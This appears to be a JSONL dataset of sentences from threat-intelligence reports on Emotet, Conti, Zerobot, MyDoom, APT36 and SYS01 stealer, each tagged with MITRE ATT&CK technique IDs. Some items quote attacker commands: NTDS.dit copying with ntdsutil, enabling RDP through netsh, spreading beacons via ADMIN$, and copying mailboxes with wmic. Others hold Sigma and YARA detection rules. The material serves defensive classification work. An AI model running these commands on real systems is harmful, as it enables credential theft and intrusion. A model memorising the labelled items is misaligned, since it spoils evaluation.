{"sentence": "We later saw Dllhost.exe injecting into multiple other processes, such as explorer.exe and svchost.exe, to execute further payloads.", "labels": ["T1055"], "doc_title": "Dead or Alive An Emotet Story"} {"sentence": "-s LSM win_cobalt_strike_auto 9308 regsvr32.exe regsvr32 C:\\ProgramData\\1.dll win_cobalt_strike_auto 1056 svchost.exe C:\\Windows\\System32\\svchost.exe -k LocalSystemNetworkRestricted -p win_cobalt_strike_auto 1428 svchost.exe C:\\Windows\\system32\\svchost.exe -k ICService -p win_cobalt_strike_auto 6036 regsvr32.exe regsvr32 C:\\ProgramData\\1.dll win_cobalt_strike_auto Credential Access From the beachhead host credentials appear to have been dumped from an injection into the SearchIndexer process on the host.", "labels": ["T1055"], "doc_title": "Dead or Alive An Emotet Story"} {"sentence": "# Feel free to modify the email addresses to fit your needs - '@gmail.com' - '@hotmail.com' - '@hotmail.com' - '@yandex.ru' - '@mail.ru' - '@outlook.com' - '@protonmail.com' - '@dropmail.me' condition: selection1 and selection2 falsepositives: - Unlikely level: high tags: - attack.execution - attack.", "labels": [], "doc_title": "Dead or Alive An Emotet Story"} {"sentence": "T1059.006 https://github.com/The-DFIR-Report/Sigma-Rules/blob/main/rclone_smb_share_exfiltration.yml title: Rclone SMB Share Exfiltration id: 889bc648-5164-44f4-9388-fb5d6b58a7b2 status: Experimental description: Detection of a exfiltration activity using rclone from Windows network shares using SMB. author: \\@TheDFIRReport date: 2022/09/12 references: - https://thedfirreport.com/ logsource: product: zeek service: smb_files detection: selection: file_name|endswith: - '\\rclone.exe' condition: selection falsepositives: - Approved business backup processes.", "labels": [], "doc_title": "Dead or Alive An Emotet Story"} {"sentence": "level: medium tags: - attack.exfiltration - attack.t567.002 https://github.com/The-DFIR-Report/Sigma-Rules/blob/main/potential_smb_dll_lateral_movement.yml title: Potential SMB DLL Lateral Movement id: 8fe1524e-8c97-404c-9dee-090929a315c4 status: Experimental description: Detection of potential us of SMB to transfer DLL's into the ProgramData folder of hosts for purposes of lateral movement.", "labels": ["T1570"], "doc_title": "Dead or Alive An Emotet Story"} {"sentence": "7000KB and ( pe.imphash() == \"bcf185f1308ffd9e4249849d206d9d0c\" and pe.exports(\"xmlEscapeFormatString\") or 12 of them ) } rule info_1805_14335 { meta: description = \"info_1805.xls\" author = \"The DFIR Report\" reference = \"https://thedfirreport.com\" date = \"2022-09-12\" hash1 = \"e598b9700e13f2cb1c30c6d9230152ed5716a6d6e25db702576fefeb6638005e\" strings: $s1 = \"32.exe\" fullword ascii $s2 = \"System32\\\\X\" fullword ascii $s3 = \"DocumentOwnerPassword\" fullword wide $s4 = \"DocumentUserPassword\" fullword wide $s5 = \"t\\\"&\\\"t\\\"&\\\"p\\\"&\\\"s:\\\"&\\\"//lo\\\"&\\\"pe\\\"&\\\"sp\\\"&\\\"ub\\\"&\\\"li\\\"&\\\"ci\\\"&\\\"da\\\"&\\\"de.c\\\"&\\\"o\\\"&\\\"m/cgi-bin/e\\\"&\\\"5R\\\"&\\\"5o\\\"&\\\"G4\\\"&\\\"\" ascii $s6 = \"UniresDLL\" fullword ascii $s7 = \"OEOGAJPGJPAG\" fullword ascii $s8 = \"\\\\Windows\\\\\" fullword ascii $s9 = \"_-* #,##0.00_-;\\\\-* #,##0.00_-;_-* \\\"-\\\"??_-;[email protected]_-\" fullword ascii $s10 = \"_-* #,##0_-;\\\\-* #,##0_-;_-* \\\"-\\\"_-;[email protected]_-\" fullword ascii $s11 = \"_-;_-*", "labels": [], "doc_title": "Dead or Alive An Emotet Story"} {"sentence": "While there was some initial discovery activity from the IcedID malware, it went quiet, just beaconing to command and control but not performing any other activity.", "labels": [], "doc_title": "Conti Ransomware"} {"sentence": "Within two and a half hours of Cobalt Strike showing up in the environment and just over two days after the initial IcedID infection, the threat actors completed their objective of encrypting all systems.", "labels": [], "doc_title": "Conti Ransomware"} {"sentence": "The ransomware note left by the infection included a link to their Tor site for further details.", "labels": [], "doc_title": "Conti Ransomware"} {"sentence": "We also have artifacts available from this case such as pcaps, memory captures, files, Kape packages, and more, under our Security Researcher and Organization services.", "labels": [], "doc_title": "Conti Ransomware"} {"sentence": "rundll32.exe \"C:\\Users\\REDACTED\\AppData\\Local\\Temp\\rate_x32.dat\",update /i:\"LaborBetray\\license.dat\" Discovery IcedID ran initial discovery after being executed on the beachhead.", "labels": [], "doc_title": "Conti Ransomware"} {"sentence": "/domainnet view /allnew group \"Domain Admins\" /domain", "labels": [], "doc_title": "Conti Ransomware"} {"sentence": "Additional discovery commands were executed by Cobalt Strike.", "labels": ["T1033", "T1059.003"], "doc_title": "Conti Ransomware"} {"sentence": "net group \"Domain admins\" /domain", "labels": [], "doc_title": "Conti Ransomware"} {"sentence": "In order to obtain SYSTEM level privileges, Cobalt Strike’s built-in named piped impersonation (GetSystem) was used: Image: “C:\\Windows\\System32\\cmd.exe” CommandLine: “C:\\Windows\\system32\\cmd.exe /c", "labels": ["T1059.003"], "doc_title": "Conti Ransomware"} {"sentence": "Image: C:\\Windows\\system32\\services.exe TargetObject: HKLM\\System\\CurrentControlSet\\Services\\d8d6deb\\ImagePath Details: \\\\HOSTNAME\\ADMIN$\\d8d6deb.exe After this initial activity, Cobalt Strike was used to enable RDP, and allow it through the firewall, on the domain controllers.", "labels": ["T1021.001", "T1059.003", "T1112"], "doc_title": "Conti Ransomware"} {"sentence": "0x0 /f cmd.exe /C netsh firewall set service type = remotedesktop mode = enable cmd.exe /C netsh firewall set rule group=\"remote desktop\" new enable=Yes cmd.exe /C netsh advfirewall set rule group=\"remote desktop\" new enable=Yes Following this, the threat actors then copied a Cobalt Strike Beacon DLL to the ADMIN$ share; and then, distributed it throughout the environment using PsExec. cmd.exe /C", "labels": ["T1021.001"], "doc_title": "Conti Ransomware"} {"sentence": "copy 192145.dll \\\\\\ADMIN$ /Y /Z", "labels": [], "doc_title": "Conti Ransomware"} {"sentence": "Defense Evasion To evade detection, the threat actors disabled Windows Defender by adding the below to an already linked GPO.", "labels": ["T1484.001", "T1562.001"], "doc_title": "Conti Ransomware"} {"sentence": "First time that I see #Conti ransomware spread as a DLL :Hash : 5c278c04bb19196dc8559d45b9728b3ba0c1bc5cdd20a766f56248e561c6f5a6 Pdb : A:sourceconti_v3x64Releasecryptor_dll.pdb (cc @GrujaRS @malwrhunterteam )", "labels": [], "doc_title": "Conti Ransomware"} {"sentence": "pic.twitter.com/gH3uCpVMpB— (づ｡◕‿‿◕｡)づ (@Glacius_)", "labels": [], "doc_title": "Conti Ransomware"} {"sentence": "Ransom note Which leads you here.", "labels": [], "doc_title": "Conti Ransomware"} {"sentence": "Multiple machines within the environment were not usable after being ransomed including a domain controller.", "labels": [], "doc_title": "Conti Ransomware"} {"sentence": "Downloader Request Cookie ET POLICY PE EXE or DLL Windows file download HTTP ET INFO Executable Retrieved With Minimal HTTP Headers – Potential Second Stage Download ET INFO Packed Executable Download ET POLICY OpenSSL Demo CA – Internet Widgits Pty ATTACK", "labels": [], "doc_title": "Conti Ransomware"} {"sentence": "[PTsecurity] Overpass the hash.", "labels": [], "doc_title": "Conti Ransomware"} {"sentence": "*/import \"pe\"rule icedid_rate_x32 {meta:description = \"files - file rate_x32.dat\"author = \"The DFIR Report\"reference = \"https://thedfirreport.com\"date = \"2021-05-09\"hash1 = \"eb79168391e64160883b1b3839ed4045b4fd40da14d6eec5a93cfa9365503586\"strings:$s1 = \"UAWAVAUATVWSH\" fullword ascii$s2 = \"UAWAVVWSPH\" fullword ascii$s3 = \"AWAVAUATVWUSH\" fullword ascii$s4 = \"update\" fullword ascii /*", "labels": [], "doc_title": "Conti Ransomware"} {"sentence": "One domain with links to Zerobot was among several domains associated with DDoS-for-hire services seized by the FBI in December 2022.", "labels": [], "doc_title": "Microsoft research uncovers new Zerobot capabilities Microsoft Security Blog"} {"sentence": "In this blog post, we present information about the latest version of the malware, Zerobot 1.1, including newly identified capabilities and further context to Fortinet’s recent analysis on the threat.", "labels": [], "doc_title": "Microsoft research uncovers new Zerobot capabilities Microsoft Security Blog"} {"sentence": "Zerobot 1.1 increases its capabilities with the inclusion of new attack methods and new exploits for supported architectures, expanding the malware’s reach to different types of devices.", "labels": [], "doc_title": "Microsoft research uncovers new Zerobot capabilities Microsoft Security Blog"} {"sentence": "Depending on the operating system of the device, the malware has different persistence mechanisms.", "labels": [], "doc_title": "Microsoft research uncovers new Zerobot capabilities Microsoft Security Blog"} {"sentence": "To achieve persistence on Linux-based devices, Zerobot uses a combination of desktop entry, daemon, and service methods: Desktop entry: Zerobot copies itself to $HOME/.config/ssh.service/sshf then writes a desktop entry file called sshf.desktop to the same directory.", "labels": [], "doc_title": "Microsoft research uncovers new Zerobot capabilities Microsoft Security Blog"} {"sentence": "In addition to the functions and attacks included in previous versions of the malware, Zerobot 1.1 has additional DDoS attack capabilities.", "labels": [], "doc_title": "Microsoft research uncovers new Zerobot capabilities Microsoft Security Blog"} {"sentence": "In almost every attack, the destination port is customizable, and threat actors who purchase the malware can modify the attack according to their target.", "labels": [], "doc_title": "Microsoft research uncovers new Zerobot capabilities Microsoft Security Blog"} {"sentence": "MC_PINGMeant for DDoS on Minecraft servers.", "labels": [], "doc_title": "Microsoft research uncovers new Zerobot capabilities Microsoft Security Blog"} {"sentence": "Sends a handshake and status request.", "labels": ["T1095"], "doc_title": "Microsoft research uncovers new Zerobot capabilities Microsoft Security Blog"} {"sentence": "TCP_HANDSHAKEFloods with TCP handshakes.", "labels": ["T1095"], "doc_title": "Microsoft research uncovers new Zerobot capabilities Microsoft Security Blog"} {"sentence": "Payload length is customizable.", "labels": ["T1071.001"], "doc_title": "Microsoft research uncovers new Zerobot capabilities Microsoft Security Blog"} {"sentence": "TLS_SOCKETContinuously sends random payloads on an open TLS socket.", "labels": ["T1095"], "doc_title": "Microsoft research uncovers new Zerobot capabilities Microsoft Security Blog"} {"sentence": "This tool was found by investigating the command-and-control (C2) IPs used by the malware.", "labels": [], "doc_title": "Microsoft research uncovers new Zerobot capabilities Microsoft Security Blog"} {"sentence": "With these capabilities, Microsoft 365 Defender customers using Microsoft Defender for IoT have visibility into security recommendations for devices with the following vulnerabilities: CVE-2014-8361 CVE-2019-10655 CVE-2020-25506 CVE-2021-36260 CVE-2021-42013 CVE-2022-30525 CVE-2022-31137 CVE-2022-37061 Devices with these vulnerabilities are also visible in the Microsoft Defender Vulnerability Management inventory.", "labels": [], "doc_title": "Microsoft research uncovers new Zerobot capabilities Microsoft Security Blog"} {"sentence": "let IoCList = externaldata(TimeGenerated:datetime,IoC:string,IoC_Type:string,ExpirationDateTime:datetime,Description:string, Action:string, ConfidenceScore:real, ThreatType:string, Active:string,Type:string, TrafficLightProtocolLevel:string, ActivityGroupNames:string)[@\"https://raw.githubusercontent.com/microsoft/mstic/master/RapidReleaseTI/Indicators.csv\"] with(format=\"csv\", ignoreFirstRecord=True); let shahashes = IoCList | where IoC_Type =~ \"sha256\" and Description =~ \"Dev-1061 Zerobot affecting IoT devices\" | distinct IoC; DeviceFileEvents | where SHA256 in (shahashes) Zerobot HTTP requests This query finds suspicious HTTP requests originated by the IOCs associated with Zerobot activity.", "labels": ["T1071.001"], "doc_title": "Microsoft research uncovers new Zerobot capabilities Microsoft Security Blog"} {"sentence": "url: https://www.fortinet.com/blog/threat-research/just-because-its-old-doesnt-mean-you-throw-it-away-including-malware Art, automobiles, and wine are often associated with things that appreciate in value as they age.", "labels": [], "doc_title": "Just Because Its Old Doesnt Mean You Throw It Away Including Malware"} {"sentence": "And while it has seen some updates and modifications since its introduction, it is an anachronism in the malware world that continues to operate well beyond expectations.", "labels": [], "doc_title": "Just Because Its Old Doesnt Mean You Throw It Away Including Malware"} {"sentence": "Affected Platforms: WindowsImpacted Users: Windows usersImpact: Potential to deploy additional malware for additional purposesSeverity Level: Medium Typical phishing e-mail The typical MyDoom phishing e-mail contains subjects referencing a delivery error or testing.", "labels": [], "doc_title": "Just Because Its Old Doesnt Mean You Throw It Away Including Malware"} {"sentence": "DATA FORMAT ERROR Returned mail: see transcript for details Mail System Error - Returned Mail The following attachment names were also found to be used repeatedly: document.zip transcript.zip letter.zip attachment.zip .zip message.zip message.scr golfasian.com readme.scr mail.zip text.cmd @7686f6a96.com file.zip attachment.scr Typical attachment The MyDoom executables attached to its phishing e-mails have an extension hidden by default by most Windows deployments (.cmd, .scr, .com, etc.).", "labels": ["T1566.001"], "doc_title": "Just Because Its Old Doesnt Mean You Throw It Away Including Malware"} {"sentence": "With that being said, UPX has been around for quite some time.", "labels": [], "doc_title": "Just Because Its Old Doesnt Mean You Throw It Away Including Malware"} {"sentence": "The following (AV) signature detects the malware samples mentioned in this blog W32/MyDoom.", "labels": [], "doc_title": "Just Because Its Old Doesnt Mean You Throw It Away Including Malware"} {"sentence": "In addition to these protections, we suggest that organizations have their end users undergo our FREE NSE training: NSE 1 – Information Security Awareness.", "labels": [], "doc_title": "Just Because Its Old Doesnt Mean You Throw It Away Including Malware"} {"sentence": "Attribution Though a threat actor group called Silence Group is attributed to this malware, Group-IB has linked the group with Russia’s EvilCorp (Indrik Spider) due to the downloaders they use being similar.", "labels": [], "doc_title": "Carbon Blacks TrueBot Detection"} {"sentence": "Though EvilCorp is also Russian, this is not strong evidence to link the two, as there are dozens of Russian APTs.", "labels": [], "doc_title": "Carbon Blacks TrueBot Detection"} {"sentence": "In late April 2023, IBM Security X-Force uncovered documents that are most likely part of a phishing campaign mimicking credible senders, orchestrated by a group X-Force refers to as ITG10, and aimed at delivering RokRAT malware, similar to what has been observed by others.", "labels": [], "doc_title": "ITG10 Likely Targeting South Korean Entities of Interest to the Democratic Peoples Republic of Korea DPRK"} {"sentence": "The intended targets for this lure are likely to be parliamentary members seeking information on their committee assignment or reporters covering parliament.", "labels": [], "doc_title": "ITG10 Likely Targeting South Korean Entities of Interest to the Democratic Peoples Republic of Korea DPRK"} {"sentence": "The contents detail the company’s approach to radio drama production scheduled for broadcast in May 2023.", "labels": [], "doc_title": "ITG10 Likely Targeting South Korean Entities of Interest to the Democratic Peoples Republic of Korea DPRK"} {"sentence": "North Korean sponsored threat actors have previously been known to create accounts posing as broadcasting scriptwriters to deceive watchers.", "labels": [], "doc_title": "ITG10 Likely Targeting South Korean Entities of Interest to the Democratic Peoples Republic of Korea DPRK"} {"sentence": "2023년도 4월 29일 세미나.pdf Energy, Manufacturing and Supply Chain The second grouping of lure documents features a zip file projects in Libya.zip containing a LNK file Pipelines Profile (Elfeel- Sharara-Mellitah + Wafa – Mellitah).lnk, as well as additional English-language decoy files.", "labels": [], "doc_title": "ITG10 Likely Targeting South Korean Entities of Interest to the Democratic Peoples Republic of Korea DPRK"} {"sentence": "In another campaign, ITG10 was observed delivering RokRAT via HWP and Word files containing LNK files.", "labels": [], "doc_title": "ITG10 Likely Targeting South Korean Entities of Interest to the Democratic Peoples Republic of Korea DPRK"} {"sentence": "Once the LNK file is executed, it extracts and drops a decoy file, and a batch file within the user’s %TEMP% folder.", "labels": ["T1059.003"], "doc_title": "ITG10 Likely Targeting South Korean Entities of Interest to the Democratic Peoples Republic of Korea DPRK"} {"sentence": "The LNK files analyzed contain an encoded PowerShell, and once the LNK files are executed, the PowerShell script is run, and two files are dropped to the user’s %TEMP% folder.", "labels": ["T1027"], "doc_title": "ITG10 Likely Targeting South Korean Entities of Interest to the Democratic Peoples Republic of Korea DPRK"} {"sentence": "Encoded PowerShell:", "labels": [], "doc_title": "ITG10 Likely Targeting South Korean Entities of Interest to the Democratic Peoples Republic of Korea DPRK"} {"sentence": "Near the end of this article all the tactics and techniques used by the adversary are listed with links to the MITRE website with more information.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"} {"sentence": "With this valid admin account, a Cobalt Strike beacon is loaded into memory of patient zero.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"} {"sentence": "If the obtained valid account is already member of the domain admins group, the first lateral move in the network is usually to a domain controller where the adversary also deploys a Cobalt Strike beacon.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"} {"sentence": "At times they have been observed attempting to perform a degree of anti-forensic activities including clearing event logs, time stomping files, and removing scheduled tasks created for some objectives.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"} {"sentence": "The more recent intrusions took place in 2019 at companies in the aviation industry.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"} {"sentence": "NCC Group and Fox-IT identified that the language in the text-message for 2FA is based on the web browser’s language settings used during the authentication flow.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"} {"sentence": "/domain net localgroup administrators If the user account doesn’t have local administrative or domain administrative permissions, the adversary attempts to discover which local or domain admin accounts exist, and exfiltrates the admin’s usernames.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"} {"sentence": "To identify if privileged users are active on remote servers, the adversary makes use of PsLogList from Microsoft Sysinternals to retrieve the Security event logs.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"} {"sentence": "Privilege escalation (TA0004)", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"} {"sentence": "But we also observed the adversary using the tool ntdsutil to create a copy of the Active Directory database NTDS.dit followed by a repair action with esentutl to fix a possible corrupt NTDS.dit: ntdsutil \"ac i ntds\" \"ifm\" \"create full C:\\Windows\\Temp\\tmp\" q q esentutl /p /o", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"} {"sentence": "Once the system is rebooted, the beacon is gone.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"} {"sentence": "In the list below we have highlighted a few specific tools the adversary used for discovery purposes.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"} {"sentence": "Account discovery tool: PsLogListCommand used: psloglist.exe -accepteula -x security -s", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"} {"sentence": "\"NTDS.dit\" -s", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"} {"sentence": "The utility was found on various systems of a victim and matches the NtdsAudit.exe program file version v2.0.5 published on the GitHub project page.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"} {"sentence": "NCC Group and Fox-IT decompiled the tool for analysis.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"} {"sentence": "They continue lateral movement and discovery in an attempt to identify the data of interest.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"} {"sentence": "Lateral tool transfer (T1570)", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"} {"sentence": "But they also rely on a custom tool for network scanning (get.exe), carving data from memory, compression of data, and exfiltrating data.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"} {"sentence": "But first: How did they get the tools on the victim’s systems?", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"} {"sentence": "The adversary copied those tools over SMB from compromised system to compromised system wherever they needed these tools.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"} {"sentence": "In preparation of exfiltration of the data needed for their objective, the adversary collected the data from various sources within the victim’s network.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"} {"sentence": "But email collection is also important for this adversary: with every intrusion we saw the mailbox of some users being copied, from both local and remote systems: wmic /node: process call create \"cmd /c copy c:\\Users\\\\\\backup.pst c:\\windows\\temp\\backup.pst\" copy \"i:\\\\\\My Documents\\.pst\" copy \\\\\\c$\\Users\\\\AppData\\Local\\Microsoft\\Outlook*.ost Files and folders of interest are collected as well and staged for exfiltration.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"} {"sentence": "= suppress error messages.hp = encrypt both file data and headers with password.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"} {"sentence": "The used password, file extensions for the staged data differ per intrusion.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"} {"sentence": "After compromising a host with a Linux operating systems, data is also compressed.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"} {"sentence": "This is important to note because the functionalities of Cobalt Strike’s trial version are limited.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"} {"sentence": "This means that only the DNS C2 leaving the victim’s network was logged.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"} {"sentence": "We developed a Python script that decoded and combined most of the logged C2 communication into a human readable format.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"} {"sentence": "The activity started on average at 02:36 UTC and ended rarely after 13:00 UTC.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"} {"sentence": "While we don’t know what was deleted and we were unable to recover, we did see some of their anti-forensics activity: Windows event logs clearing,File deletion,Timestomping An overview of the observed commands can be found in the appendix.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"} {"sentence": "This tool is included in the UnxUtils repository.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"} {"sentence": "Creating a timeline is a common thing to do for forensic analysts to get a chronological view of events on a system.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"} {"sentence": "Copy NTDS.dit.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"} {"sentence": "And these are the hardest for the adversary to change, and most effective for long-lasting detection!", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"} {"sentence": "Both types of stolen data are very useful for nation states.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"} {"sentence": "address47.75.0[.]147 2019Password sprayIPv4 address5.254.112[.]226 2019Initial accessIPv4 address5.254.64[.]234 2019Initial accessIPv4 address59.47.4[.]27 2019Initial accessIPv4 address39.109.5[.]135Q3 2017VPN server loginIPv4 address43.250.200[.]106Q3 2017VPN server loginIPv4 address119.39.248[.]101Q3 2017VPN server loginIPv4 address220.202.152[.]47Q3 2017VPN server loginIPv4 address119.39.248[.]20Q3 2017VPN server loginIPv4 address185.170.210[.]84Q3 2017VPN server loginIPv4 address43.250.201[.]71Q3 2017VPN server loginIPv4 address23.236.77[.]94Q3 2017ADFS loginPathC:\\Code\\NtdsAudit\\src\\NtdsAudit\\obj\\Release\\–NTDSAudit artifactsPathC:\\Users\\Public\\Appdata\\Local\\–Staging and toolsPathC:\\Users\\Public\\Appdata\\Local\\Microsoft\\Windows\\INetCache–Staging and toolsPathC:\\Users\\Public\\Libraries\\–Staging and toolsPathC:\\Users\\Public\\Videos\\–Staging and toolsPathC:\\Windows\\Temp\\–Staging and toolsPathC:\\Windows\\Temp\\tmp–Staging and toolsURI in CS beacon/externalscripts/jquery/jquery-3.3.1.min.js Q3 2019 – Q1 2020–URI in CS beacon/externalscripts/jquery/jquery-3.3.2.min.jsQ2 2019 – Q3 2019–URI in CS beacon/jquery-3.3.2.slim.min.jsQ1 2020–User-agentMozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko–Web VPN loginUser-agentMozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko–Cobalt Strike beacon Observed discovery commands TechniqueCommandAccount discoverynet userAccount discoverynet user AdministratorAccount discoverynet user /domainAccount discoverydir \\\\\\c$\\usersAccount discoverydsquery user -limit 0", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"} {"sentence": "Account discoverymsadcs.exe “NTDS.dit” -s", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"} {"sentence": "|findstr explorerProcess discoverytasklist /v", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"} {"sentence": "|findstr 1716Process discoverytasklist /v /s", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"} {"sentence": "\\\\\\HKU\\\\SOFTWARE\\Microsoft\\Terminal Server Client\\ServersQuery registryreg query \\\\\\HKU\\\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"} {"sentence": "NTDSTechniqueT1003.003https://attack.mitre.org/techniques/T1003/003/Two-Factor Authentication InterceptionTechniqueT1111https://attack.mitre.org/techniques/T1111/DiscoveryTacticTA0007https://attack.mitre.org/tactics/TA0007/Account", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"} {"sentence": "DiscoveryTechniqueT1087 Account Discovery: Local AccountTechniqueT1087.001https://attack.mitre.org/techniques/T1087/001/Account Discovery: Domain AccountTechniqueT1087.002https://attack.mitre.org/techniques/T1087/002/Browser Bookmark DiscoveryTechniqueT1217https://attack.mitre.org/techniques/T1217/Domain Trust DiscoveryTechniqueT1482https://attack.mitre.org/techniques/T1482/File and Directory DiscoveryTechniqueT1083https://attack.mitre.org/techniques/T1083Network", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"} {"sentence": "We assess that this activity is part of the group’s previously reported targeting of the education sector in the Indian subcontinent.", "labels": [], "doc_title": "Transparent Tribe APT36 PakistanAligned Threat Actor Expands Interest in Indian Education Sector"} {"sentence": "Wibemax matches the name of a Pakistani software development company, but at this time we have not identified a clear relationship to the adversary.", "labels": [], "doc_title": "Transparent Tribe APT36 PakistanAligned Threat Actor Expands Interest in Indian Education Sector"} {"sentence": "Based on known behavior of this group, we suspect that the documents have been distributed to targets as attachments to phishing emails.", "labels": [], "doc_title": "Transparent Tribe APT36 PakistanAligned Threat Actor Expands Interest in Indian Education Sector"} {"sentence": "Crimson RAT PDB paths We observed different Crimson RAT version identifiers: R.S.8.8., R.S.8.9, R.S.8.1, and R.S.8.6.", "labels": [], "doc_title": "Transparent Tribe APT36 PakistanAligned Threat Actor Expands Interest in Indian Education Sector"} {"sentence": "Crimson RAT variants implement different obfuscation techniques of varying intensities, for example, simple function name malformation and dynamic string resolution.", "labels": ["T1027"], "doc_title": "Transparent Tribe APT36 PakistanAligned Threat Actor Expands Interest in Indian Education Sector"} {"sentence": "The infection chain is divided into two parts: the loader, and the Inno-Setup installer that drops the final payload.", "labels": [], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"} {"sentence": "The loader is usually a legitimate C# application susceptible to a side-loading vulnerability that comes with a hidden malicious dynamic link library (DLL) file that’s eventually side-loaded to the application.", "labels": ["T1574.002"], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"} {"sentence": "In the next sections we elaborate on various delivery techniques and luring themes the attackers use.", "labels": [], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"} {"sentence": "Note: these delivery methods are representative samples.", "labels": [], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"} {"sentence": "DLL Side-Loading V1", "labels": ["T1574.002"], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"} {"sentence": "t Is the theme used as a decoy Side loaded malicious DLL", "labels": ["T1574.002"], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"} {"sentence": "As mentioned, the License file is the next stage Inno-Setup installer that drops the PHP information stealer.", "labels": ["T1574.002"], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"} {"sentence": "The above image shows an example of Garmin’s ElevatedInstaller.exe being abused to side-load the malicious DLL.", "labels": ["T1574.002"], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"} {"sentence": "Once the executable starts running, it side-loads the malicious DLL that decodes and drops three files to the %temp% folder:", "labels": ["T1140", "T1574.002"], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"} {"sentence": "vcruntime140.dll Dependency rhc.exe (hidec)", "labels": [], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"} {"sentence": "Executable that accepts an executable as an argument and executes it with hidden console <", "labels": ["T1059.003"], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"} {"sentence": "Before exiting, it pops up a message box informing the victim that the execution didn’t succeed.", "labels": [], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"} {"sentence": "Drops ”TS.exe” and executes it with t as an argument The dropped executable (TS.exe) can be executed with one of the following options: t, d t|d options that the executable accepts Option t copies the executable to %appdata%\\Packages\\TS.exe and registers a new scheduled task to trigger every day and repeat every hour with option “d” as an argument.", "labels": ["T1053.005"], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"} {"sentence": "Hides the console window of started programs (hidec) rss.txt (other variants have a different name)", "labels": [], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"} {"sentence": "It starts by setting a configuration array with the following information: version—Stealer version b—Bot name (SYS01 is the bot name we’ve seen in all the variants we covered, which is why we named the php stealer SYS01) tmpData—Path for saving temporarily used files url_endpoint—A list of C2 domains Configuration array During each execution, the script shuffles and randomly defines one of the domains to be used as the C2 in the entire script.", "labels": [], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"} {"sentence": "If so, it posts the stolen information to its C2.", "labels": [], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"} {"sentence": "Upload file function r Gets a command to run, executes it, and posts the result back to the C2.", "labels": ["T1059.003", "T1105"], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"} {"sentence": "How do You Combat SYS01 stealer? DLL side-loading is a highly effective technique for tricking Windows systems into loading malicious code.", "labels": ["T1574.002"], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"} {"sentence": "Dynamic link libraries enable more efficient memory use and system modularity, but because Microsoft doesn’t enforce search order for DLLs by default, it makes applications vulnerable to exploitation.", "labels": [], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"} {"sentence": "Security-minded developers may enforce search order within their code.", "labels": [], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"} {"sentence": "Microsoft has started to enforce default search order on many of their applications, even if not universally.", "labels": [], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"} {"sentence": "This is because detection-based tools don’t always flag benign executables used to side-load payloads during delivery and/or execution.", "labels": [], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"} {"sentence": "MTD morphs—randomizes—the runtime memory environment to create a dynamic attack surface and leaves decoy traps where targets used to be.", "labels": [], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"} {"sentence": "Zip Files 01f76140374da14b72a8f1e648cb8f46590419cddd56bc089e67f38cee767735 7f54dc5ddab4de19c5ad7c7b6d4398bd07d97504cdedabc398a6d6db52fe9875 bad4de1c398954b9c381d91fee52607b78e1c65bd9f38c3e82a307e236a76223 2c58bfbf8d274434e3307a76a37720d09387978e8e401780048992ea21fd222b 